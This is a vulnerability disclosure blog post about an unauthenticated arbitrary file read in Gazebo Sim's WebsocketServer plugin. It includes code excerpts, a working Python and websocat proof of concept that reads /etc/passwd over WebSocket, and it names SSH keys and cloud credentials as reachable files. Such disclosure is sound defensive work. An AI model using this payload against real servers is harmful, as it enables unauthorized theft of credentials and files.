· Jimmy Ly · Vulnerabilities · 4 min read
Unauthenticated Arbitrary File Read in Gazebo Sim WebsocketServer

We discovered an unauthenticated arbitrary file read in Gazebo Sim’s WebsocketServer system plugin. A single WebSocket frame (asset,/etc/passwd,,) reads any file on the server and returns its full contents to the caller. The vulnerability was confirmed on gz-sim 8.11.0 (Harmonic), Ubuntu 24.04.
- CVE
- Pending
- Product
- Gazebo Sim 8.11.0 (Harmonic)
- Component
WebsocketServer.cc:1132:OnAsset()- CWE
- CWE-22: Path Traversal, CWE-36: Absolute Path Traversal
- CVSS
- 7.5 High (
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) - Fix
- Pending
- Discovered by
- Jimmy Ly
What is Gazebo Sim?
Gazebo is an open-source robotics simulator maintained by Open Robotics. It is widely used in research, education, and industry for testing robot software in physics-accurate virtual environments before deploying to real hardware. The WebsocketServer plugin enables browser-based visualization through gzweb, serving scene data, sensor streams, and model assets over WebSocket on port 9002. It binds to all network interfaces by default.
The Bug
The WebsocketServer has an asset operation designed to serve model meshes and textures to browser clients. The handler, OnAsset, takes a URI from the WebSocket frame and is supposed to resolve it through Gazebo’s resource path system. But a performance shortcut bypasses the resolver entirely, letting any filesystem path through to std::ifstream.
Step 1 - Auto-authorize on connect
When a client connects, OnConnect checks if an <authorization_key> was configured in the SDF. If neither key is set (the default), the connection is immediately marked as authorized.
// WebsocketServer.cc:627-628
c->authorized = this->authorizationKey.empty() &&
this->adminAuthorizationKey.empty(); // true by default
No credentials, no handshake. Every connection gets full access.
Step 2 - Accept raw filesystem paths
When the client sends asset,/etc/passwd,,, the frame is parsed and dispatched to OnAsset. The handler checks if the URI is already a valid path on disk using common::exists(). If it is, the resolver is skipped entirely.
// WebsocketServer.cc:1132-1134
if (common::exists(assetUri)) // /etc/passwd exists? YES
{
resolvedPath = assetUri; // use it directly, no validation
}
This was meant as a performance optimization for SDF files with absolute mesh paths. The developer did not consider that the URI comes from an untrusted network client.
Step 3 - Read and return the file
The path goes straight to std::ifstream, which reads the entire file into memory. The contents are serialized into a protobuf and sent back over the WebSocket.
// WebsocketServer.cc:1153-1156
std::ifstream infile(resolvedPath, std::ios_base::binary);
std::string fileBuffer = std::string(
std::istreambuf_iterator<char>(infile),
std::istreambuf_iterator<char>());
No base-directory confinement, no extension allowlist, no path canonicalization. The file contents are delivered to the attacker in a single response.
The Source-to-Sink Chain
WebSocket frame → _frameParts[1] → assetUri → common::exists() → resolvedPath → std::ifstream → client
source parse taint no validation propagate sink exfil
Proof of Concept
A three-line Python script reads any file from a running Gazebo server:
import websocket
ws = websocket.create_connection('ws://127.0.0.1:9002', timeout=10)
ws.send('asset,/etc/passwd,,')
print(ws.recv())
ws.close()
Or a one-liner:
printf 'asset,/etc/passwd,,' | websocat -n1 ws://target:9002
Output
Runtime-confirmed against gz-sim 8.11.0 in Docker (Ubuntu 24.04):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
Impact
Any host that can reach the WebsocketServer port (default 9002, bound to all interfaces) can read any file the gz-sim process can access. This includes SSH private keys (~/.ssh/id_rsa), cloud credentials (~/.aws/credentials), simulation configuration files, and system files like /etc/shadow. No authentication is required in the default configuration.
The WebsocketServer is the documented deployment path for gzweb browser visualization, so the exposed population is precisely the set of deployments intended for network access. On robotics testing rigs (HITL/SIL) and GPU training clusters, this gives an attacker access to credentials and configuration data on the simulation host.
Even when an <authorization_key> is configured, the asset handler still applies no path confinement after the auth gate. A low-trust browser visualization user has the same file read capability as root.
Suggested Fix
The root cause is that OnAsset accepts arbitrary filesystem paths from WebSocket clients with no confinement to Gazebo resource directories. Input-based blocklists (rejecting /, .., file://) are insufficient because the Gazebo resource resolver itself handles file:// URIs internally.
The standard mitigation for path traversal is canonical path + base folder confinement: canonicalize the resolved path, then verify it falls under an allowed base directory before opening the file.
Disclosure
There is no SECURITY.md or private vulnerability reporting mechanism in the gz-sim repository, so this was reported as a public bug. A proposed fix branch is at gz-sim#fix/websocket-arbitrary-file-read.
Timeline
| Date | Event |
|---|---|
| 2026-05-19 | Vulnerability discovered |
| 2026-05-19 | Bug report filed |



